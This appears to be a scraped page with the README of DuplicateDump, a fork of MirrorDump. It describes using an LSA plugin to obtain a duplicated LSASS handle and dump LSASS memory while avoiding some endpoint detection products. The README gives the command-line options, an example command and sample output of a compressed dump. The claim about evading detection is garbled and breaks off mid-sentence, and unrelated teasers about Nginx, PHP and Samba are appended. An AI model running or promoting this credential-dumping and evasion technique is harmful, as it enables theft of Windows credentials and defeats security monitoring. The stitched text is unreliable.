DuplicateDump is a fork of MirrorDump with following modifications:
DuplicateDump add custom LSA plugin that duplicate LSASS process handle from the LSASS process to DuplicateDump. So DuplicateDump has a ready to use process handle to LSASS without invoking OpenProcess.
By loading DuplicateDump in memory, it was able to dump LSASS memory without detection on
Detected by Cortex XDR, Crowdstrike. Failed to dump lsass without detection on SentinalOne.
Compile LSA plugin (export either SpLsaModeInitialize or dllMain function) and provide the full path of DLL to DuplicateDump
.\DuplicateDump.exe –help
-f, –filename=VALUE The path to write the dump file to
-p, –plugin=VALUE Full file path to LSA plugin
-c, –compress GZip and delete the dump file on disk
-d, –DebugPriv Obtain SeDebugPrivilege
-h, –help Display this help
.\DuplicateDump.exe -f test -c -p C:\LSAPlugin.dll
[+] Loading LSA security package
[+] Named pipe connected and replying with current PID 6492
[+] Found duplicated LSASS process handle 0x3d0
[+] Compressed dump file saved to test.gz
Nginx (pronounced "engine x") is a free, open-source, high-performance HTTP server and reverse proxy. It handles…
Nginx (pronounced "engine x") is a free, open-source, high-performance HTTP server and reverse proxy. It handles…
Let's Encrypt is a free, automated, and open certificate authority run by the Internet Security Research…
PHP is the most widely used server-side scripting language for web development. Ubuntu 18.04 ships with PHP…
Skype is one of the most widely used communication platforms in the world. It lets you…
Samba is a free, open-source implementation of the SMB/CIFS network protocol that lets Linux servers share…